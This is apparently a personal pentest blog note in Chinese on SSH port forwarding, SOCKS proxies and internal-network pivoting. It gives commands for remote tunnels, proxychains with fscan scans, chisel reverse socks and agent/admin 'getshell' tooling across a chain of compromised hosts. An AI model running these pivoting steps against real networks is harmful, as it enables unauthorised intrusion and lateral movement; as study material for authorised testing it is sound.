SSH隧道搭建与端口转发


SSH隧道搭建与端口转发

SSH隧道

SSH 端口转发又叫 SSH 隧道(tunnel),是在 SSH 连接的基础上,通过将客户端或服务器端的某个端口的数据放到 SSH 连接中加密传输,从而在不安全的网络中安全的传输数据或者绕过防火墙的限制实现对目的主机目的端口的访问的一个功能。

安全性高:SSH隧道利用SSH协议进行加密传输,可以确保数据传输的安全性。
稳定性强:SSH协议是一种稳定、可靠的协议,可以确保数据传输的准确性和稳定性。
传输效率低:传输效率不如其他协议的隧道
前提是需要对方开启ssh服务,并且知道对方的ssh账号和密码

不同的后端站点所拿到的shell权限是不一样的。php、aspx的权限是继承中间件的,需要提权。是最低权限,而Java确实最高权限,无需提权。

参数

  • -C:压缩传输
  • -f:将ssh转⼊后台,不占⽤当前shell
  • -N:静默连接,减少被发现
  • -g:允许远程主机连接本地用于端口转发
  • -L:本地端⼝转发
  • -R:远程点开转发
  • -D:动态端⼝
  • -P:指定ssh端口

前提

ssh-keygen -A 初始化

vim /etc/ssh/sshd_config 配置⽂件

PermitRootLogin yes 允许root登⼊

img

1.1 静态端口转发

1.1.1 本地端口转发

场景:

img

本地主机(A)、跳板机(B)、目标主机(C)

A指定本地端口访问通过SSH连接转发给B,B将这些数据转发给C,同时将结果传回给A。(一般情况下B的端口是远程连接端口)

使用:

ssh -CfNg -L 本地端口:目标ip:目标端口 跳板账号@ip

将目标ip的目标端口的流量通过跳板机转发到本地的端口上

例子

ssh -CfNg -L 8888:192.168.1.100:80 user@10.0.0.1

你本地(127.0.0.1)监听 8888 端口;

当你访问 http://127.0.0.1:8888 时:

  • SSH 会通过 user@10.0.0.1 这个跳板机(比如公网服务器)连接;
  • 然后在 10.0.0.1 机器上发起对 192.168.1.100:80 的访问请求
  • 并把返回的数据通过 SSH 隧道转发回本地端口 8888

1.1.2 远程端⼝转发

场景:

img

B需要使用内网C的端口,但是无法直接访问,需要A对B发起ssh连接,并将B的自定义端口转发到C端口上,使得B访问自身自定义端口便可以访问C的端口

使用:

A:ssh -CfNg -R 端⼝:⽬标ip:⽬标端⼝ 跳板账号@ip

例子:

ssh -CfNg -R 8888:127.0.0.1:22 user@10.0.0.1

跳板机(10.0.0.1)上开启 8888 端口监听

当跳板机访问 localhost:8888 时,SSH 会将连接反向转发给你本地的 127.0.0.1:22(即你的 SSH);

相当于你把自己的 SSH 暴露到了跳板机的 8888 端口

区别

本地端口转发的目的是为了通过本地访问被攻击ip的对应端口的服务,

ssh -CfNg -L 8888:192.168.1.100:80 user@10.0.0.1

的目的就算在本地访问127.0.0.1:8888时通过跳板机10.0.0.1访问到192.168.1.100:80上的服务

远程端口转发的目的则是让被攻击ip能够访问本地的服务( 比如反弹shell),

ssh -CfNg -R 8888:127.0.0.1:22 user@10.0.0.1

此时如果有人访问10.0.0.1的8888端口,SSH 会把这个请求转发给你本地的 localhost:22

1.2 动态端口转发

  • 动态端口转发,相当于在 ssh 发起端创建一个 SOCKS 代理服务,所有使用这个 socks 的请求,都将转发到 ssh 远端,并将由 ssh 远端发起数据请求,并返回给 ssh 发起端,发起端将数据送回请求端。
  • 这种转发不规定目标主机和目标端口,而是去读取应用发起的请求,从请求中获取目标信息。在这种情况下,SSH 服务器要去访问哪一个网站,完全是动态的,取决于原始通信,所以就叫做动态端口转发。
  • SOCKS:防火墙安全会话转换协议 (Socks: Protocol for sessions traversal across firewall securely) SOCKS协议提供一个框架,为在 TCP和UDP域中的客户机/服务器应用程序能更方便安全地使用网络防火墙所提供的服务。协议工作在OSI参考模型的第5层(会话层),使用TCP协议传输数据,因而不提供如传递 ICMP信息之类的网络层网关服务。
  • SOCKS代理使用范围很广,但SOCKS有SOCK4和SOCK5之分。其中SOCK4只支持TCP协议,SOCK5支持TCP和UDP协议,还支持身份验证、服务器端域名解释等。SOCK4能干的SOCK5都可以干,反过来就不行。我们常用的聊天软件(如QQ),起初就一直用的是TCP和UDP协议,所以只能用SOCK5的代理。

本地主机(A)、跳板机(B)、随机目标机(C)

A的自定义端口作为socks服务端口,请求发送到本地端口,本地端口就把请求转发到跳板机上

用法:

ssh -CfNg -D 本地端口 跳板账号@ip

例子(现在似乎是socket5?):

image-20250602205851679

实例

场景

你本地Kali 
   ⇩(SSH)
VPS(168.2.10.2)
   ⇩(攻击/反弹 shell)
靶机(172.1.100.2)
   ⇩(RDP 弱口令登录)
Windows(192.1.10.222)
   ⇩(代理/隧道)
深内网(192.168.50.0/24)

如何让本地kali可直接访问172.1.100.2

① 启动 SOCKS5 代理:

ssh -D 1080 root@168.2.10.2
  • -D 1080 表示在本地 Kali 开一个 SOCKS5 代理监听在 127.0.0.1:1080

② 配置 proxychains:

编辑 /etc/proxychains.conf(或 /etc/proxychains4.conf):

# 最后一行添加或替换为:
socks5 127.0.0.1 1080

③ 使用 proxychains 访问 172.1.100.2:

proxychains fscan -h 172.1.100.2
proxychains ssh user@172.1.100.2

如何让本地kali可以直接访问192.1.10.222(存疑,有时间搭一下环境试试)

方案 1:用 ssh -L 做端口中继(多跳)

你可以让 VPS 本地监听一个端口,把流量转发给 172.1.100.2:

步骤如下:

第一步:从 Kali 到 VPS,建立第一跳代理(假设 VPS 是 168.2.10.2)

Kali上执行
ssh -L 9000:127.0.0.1:9001 user@168.2.10.2

这一步的意思是:

  • 把 Kali 本地 9000 端口映射到 VPS 上的 9001 端口。

第二步:在 VPS 上执行

# VPS 上执行
ssh -D 9001 user@172.1.100.2
  • 这时候你在 Kali 上访问本地的 9000,就相当于访问到了 VPS 上的 ssh -D 9001
  • 这样就实现了一个“间接 socks5”代理。

然后你在 Kali 上使用:

proxychains fscan -h 192.1.10.222

(proxychains 配置 socks5 127.0.0.1 9000


方案 2:使用 chisel + SSH 多跳构建 socks5 隧道

比如 proxytunnelchiselssf 等工具就可以链式转发,甚至自动多跳 socks5。


第 1 步:Kali 连 VPS,建立一个 socks5 客户端口

在 Kali 上运行:

# Kali 本地监听 1080 端口,作为 socks5 客户端
ssh -L 1080:localhost:1080 user@168.2.10.2

意思是:

  • Kali 的 localhost:1080 映射到 VPS 的 localhost:1080

第 2 步:在 VPS 上开启 chisel 客户端,连接 172.1.100.2 上的 chisel 服务器

2.1 在 172.1.100.2 上运行:

# 让 172.1.100.2 作为 chisel 服务器,提供 socks5 代理
./chisel server --port 8000 --socks5

2.2 在 VPS 上运行:

# VPS 连接到 172.1.100.2,转发 socks5 流量
./chisel client 172.1.100.2:8000 R:1080:socks

这意味着:

  • VPS 的本地端口 1080 是一个 socks5 代理,实际是由 172.1.100.2 提供服务的。

第 3 步:Kali 上配置 proxychains 使用 127.0.0.1:1080 即可访问 192.1.10.222

配置 /etc/proxychains.conf

socks5 127.0.0.1 1080

然后你就可以:

proxychains fscan -h 192.1.10.222

被控机:./linux_x64_agent -l 192.168.124.129:80(攻击机可访问的地址) -s 80
控制端: ./linux_x64_admin -c 192.168.124.129:80 -s 80
getshell

控制端:
use 0
listen
被控机:windows_x64_agent.exe -c 192.168.20.128:10001 -s 80

监听端口 -l port -s 盐

主动连接 -c ip:port -s 盐


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录